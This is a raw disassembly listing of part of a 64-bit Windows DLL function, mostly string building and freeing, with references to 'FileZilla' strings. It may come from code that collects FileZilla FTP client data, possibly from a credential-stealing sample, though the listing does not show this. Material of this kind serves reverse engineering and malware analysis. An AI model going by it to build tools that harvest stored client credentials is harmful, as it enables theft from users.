mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf920
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0x128], 0x10
mov r8, qword [rbp + 0x120]
cmovae rdx, qword [rbp + 0x110]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca4]
lea rcx, [rbp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rbp + 0x10]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf920
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x10]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0x108], 0x10
mov r8, qword [rbp + 0x100]
cmovae rdx, qword [rbp + 0xf0]
call fcn.1800bf920
mov r8d, 2
lea rdx, [0x180116cb8]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf920
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x70]
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0x80], xmm1
cmp r14, rax
je 0x1800ac9e6
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800ac9db
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1800ac9c8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800ad081
mov rcx, r8
call fcn.1800cd020
movups xmm0, xmmword [rbp + 0x90]
movups xmm1, xmmword [rbp + 0xb0]
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm1
jmp 0x1800aca24
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1800aca24
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aca1f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1800aca5f
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aca5a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
cmp rdx, 0x10
jb 0x1800acaaa
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acaa5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rbp + 0x28]
mov qword [rbp], rdi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
cmp rdx, 0x10
jb 0x1800acaf5
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acaf0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rbp + 0x48]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
cmp rdx, 0x10
jb 0x1800acb40
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acb3b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rbp + 0x68]
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
cmp rdx, 0x10
jb 0x1800acb8b
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acb86
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
cmp rdx, 0x10
jb 0x1800acbd7
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acbd2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1800acc23
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acc1e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
cmp rdx, 0x10
jb 0x1800acc70
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acc6b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
cmp rdx, 0x10
jb 0x1800accc0
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800accbb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rdx, qword [rbp - 0x38]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp rdx, 0x10
jb 0x1800acd0e
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acd09
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ad081
call fcn.1800cd020
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x1800acd1e
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x1800acd2e
cmp byte [rcx], 0x31
jne 0x1800acd2e
mov al, 1
jmp 0x1800acd30
xor al, al
test al, al
je 0x1800aceda
mov rdx, qword [r14 + 0x10]
add rdx, 3
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0x10
jb 0x1800acd63
lea rcx, [rbp - 0x50]
call fcn.1800c6590
mov qword [rbp - 0x40], rdi
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.1800bf9a0
lea rdx, [0x1801172e4]
lea rcx, [rbp - 0x50]
call fcn.1800c2bf0
lea r8, [0x180116cb0]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x90]
call fcn.1800c0770
mov rdx, rax
lea r8, str.FileZilla
lea rcx, [rbp + 0xb0]
call fcn.1800c0770
mov rdx, rax
lea r8, [0x180116cb0]
lea rcx, [rbp - 0x30]
call fcn.1800c0770
mov rdx, rax
lea r8, [rbp + 0x130]
lea rcx, [rbp - 0x10]
call fcn.1800c0650
mov rdx, rax
lea r8, [0x1801172d0]
lea rcx, [rbp + 0x10]
call fcn.1800c0770
mov rdx, rax
lea r8, [rbp + 0x150]
lea rcx, [rbp + 0x30]
call fcn.1800c0650
mov rdx, rax
lea r8, [0x180116cb0]
lea rcx, [rbp + 0x50]
call fcn.1800c0770
mov rdx, rax
lea r8, [rbp + 0x110]
lea rcx, [rsp + 0x70]
call fcn.1800c0650
mov rdx, rax
lea r8, [0x180116cb0]
lea rcx, [rbp - 0x70]
call fcn.1800c0770
mov rdx, rax
lea r8, [rbp + 0xf0]
lea rcx, [rsp + 0x50]
call fcn.1800c0650
mov rdx, rax
lea r8, [0x180116cac]
lea rcx, [rsp + 0x30]
call fcn.1800c0770
mov rdx, rax
mov rcx, r14
call fcn.1800bfa40
lea rcx, [rsp + 0x30]
call fcn.1800bf9e0
lea rcx, [rsp + 0x50]
call fcn.1800bf9e0
lea rcx, [rbp - 0x70]
call fcn.1800bf9e0
lea rcx, [rsp + 0x70]
call fcn.1800bf9e0
lea rcx, [rbp + 0x50]
call fcn.1800bf9e0
lea rcx, [rbp + 0x30]
call fcn.1800bf9e0
lea rcx, [rbp + 0x10]
call fcn.1800bf9e0
lea rcx, [rbp - 0x10]
call fcn.1800bf9e0
lea rcx, [rbp - 0x30]
call fcn.1800bf9e0
lea rcx, [rbp + 0xb0]
call fcn.1800bf9e0
lea rcx, [rbp + 0x90]
call fcn.1800bf9e0
lea rcx, [rbp - 0x50]
call fcn.1800bf9e0
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x130]
call fcn.1800bf9c0
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x110]
call fcn.1800bf9c0
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x150]
call fcn.1800bf9c0
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0xf0]
call fcn.1800bf9c0
inc r13d
lea rcx, [rbp + 0xd0]
call fcn.1800bf9e0
lea rbx, [0x18012f100]
mov rcx, r12
call fcn.1800dcbe8
test eax, eax
je 0x1800ab6a0
mov rcx, r12
call fcn.1800d8fc8
lea rdx, [0x18010bea8]
mov rcx, r15
call fcn.1800c0600
test al, al
je 0x1800acffd
mov edx, r13d
lea rcx, [rsp + 0x70]
call fcn.180088460
mov r8, rax
lea rdx, str.FileZilla__
lea rcx, [rbp - 0x70]
call fcn.1800c0710
mov rdx, rax
lea r8, [0x180116cbc]
lea rcx, [rsp + 0x50]
call fcn.1800c0770
mov rdx, rax
lea r8, [0x180116cb8]
lea rcx, [rsp + 0x30]
call fcn.1800c0770
mov rdx, rax
lea rcx, [rbp + 0x70]
mov r8, r14
call fcn.1800c0650
mov rdx, rax
mov rcx, r14
call fcn.1800bfa40
lea rcx, [rbp + 0x70]
call fcn.1800bf9e0
lea rcx, [rsp + 0x30]
call fcn.1800bf9e0
lea rcx, [rsp + 0x50]
call fcn.1800bf9e0
lea rcx, [rbp - 0x70]
call fcn.1800bf9e0
lea rcx, [rsp + 0x70]
call fcn.1800bf9e0
lea rcx, [rbp + 0x170]
call fcn.1800bf9e0
lea rcx, [rbp + 0x150]
call fcn.1800bf9e0
lea rcx, [rbp + 0xf0]
call fcn.1800bf9e0
lea rcx, [rbp + 0x110]
call fcn.1800bf9e0
lea rcx, [rbp + 0x130]
call fcn.1800bf9e0
mov rcx, r15
call fcn.1800bf9e0
mov rsi, qword [rsp + 0x3b8]
mov rax, r14
mov rbx, qword [rsp + 0x400]
mov r12, qword [rsp + 0x3b0]
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.1800ccd60
add rsp, 0x3c0
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
call fcn.1800c0380
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800883c0
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3